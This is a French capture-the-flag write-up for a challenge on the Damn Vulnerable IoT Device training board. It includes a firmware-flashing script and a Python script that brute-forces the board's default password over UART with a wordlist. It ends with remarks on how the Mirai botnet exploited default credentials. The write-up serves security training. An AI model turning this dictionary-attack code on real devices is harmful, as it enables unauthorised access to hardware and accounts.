DVID Writeup 03 - Firmware - Mot de passe par défaut
Si vous n’êtes pas encore familiarisé avec le projet Damn Vulnerable Iot Device (DVID), je vous encourage à lire la page de présentation du projet.
Objectif de ce challenge
Un message confidentiel est stocké sur le micrologiciel mais protégé par un mot de passe par défaut.
Flash du firmware sur la carte DVID
Tout d’abord, nous allons flasher le firmware sur la carte DVID. Pour ce faire, nous utiliserons avrdude
et un programmeur AVR USB. Si vous ne connaissez pas les options de avrdude
, je vous encourage à lire la section flashing the board section de la première DVID ERITUPEUP de cette série. Nous allons flasher le firmware sur la carte à l’aide de ce beau script flash.sh :
#!/bin/bash
if [[ ! -d "./DVID/" ]]; then
git clone https://github.com/vulcainreo/DVID
fi
pushd ./DVID/trainings/firmware/defaultPassword/
avrdude -F -v -p atmega328p -P /dev/ttyUSB0 -c usbasp -u -U flash:w:defaultPassword.ino.with_bootloader.arduino_standard.hex
popd
Maintenant, nous allons connecter la carte DVID à notre ordinateur à l’aide du programmeur AVR USB et démarrer le script. Lorsque la programmation AVR est terminée, la carte électronique doit redémarrer et vous devriez voir ceci :
Réslution du challenger
Maintenant que nous avons flashé le firmware, nous pouvons commencer le challenge. Nous pouvons voir que lorsque nous envoyons un mot de passe à la carte DVID via l’UART, il répond ko
sur l’UART et affiche le ‘Wrong password’ à l’écran. Ok, alors nous pouvons bruteforcer cela !
Par conséquent, nous écrivons un script pour envoyer le mot de passe via l’UART et lire la réponse, si la réponse est ok
, nous avons trouvé le bon mot de passe :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name :
# Author :
# Date created :
# Date last modified :
# Python Version : 3.*
import serial
import time
def load_wordlist(file):
f = open(file, "r")
data = [line.strip() for line in f.readlines()]
f.close()
return data
wordlist = load_wordlist('wordlist.txt')
s = serial.Serial("/dev/ttyUSB0", 9600, timeout=4)
for password in wordlist :
print('\r[>] Trying : %-30s' % password, end="")
s.write(password.strip().encode('utf-8'))
line = s.readline()
# If the submited password is correct, reply ok later
linebis = s.readline()
# Load second answer if present
line = (linebis if linebis != b'' else line)
if b'ok' in line:
print('\r[+] Found password : %s' % password)
break
# Waiting for screen
time.sleep(2)
print()
Après quelques essais avec cette wordlist, nous trouvons le mot de passe par défaut ! C’était ….. password
!
Pour aller plus loin
Ce type de vulnérabilités pourrait sembler stupide, mais il est extrêmement courant. Malheureusement, de nombreux appareils IOT sont souvent accompagnés d’un nom d’utilisateur et d’un mot de passe par défaut (telles que “login: admin, mot de passe: admin”) et sont donc vulnérables aux attaques de dictionnaires. Nous pouvons prendre comme exemple le Mirai botnet, qui analyse Internet à la recherche de périphériques IoT avec nom d’utilisateur et mot de passe par défaut en utilisant des attaques par dictionnaire sur telnet. Une fois qu’un nouveau périphérique vulnérable a été découvert, le binaire Mirai Botnet est injecté dans l’appareil. Il rejoint le Mirai Botnet, ce qui le rend plus fort et capable de trouver de nouveaux appareils plus rapidement.
Ces botnets sont ensuite utilisés pour lancer des attaques plus grandes telles que les dénis de service distribués (DDOS) sur des structures plus robustes. Par exemple, le Botnet Mirai a été largement connu pour une attaque de service distribuée sur DynDNS en octobre 2016.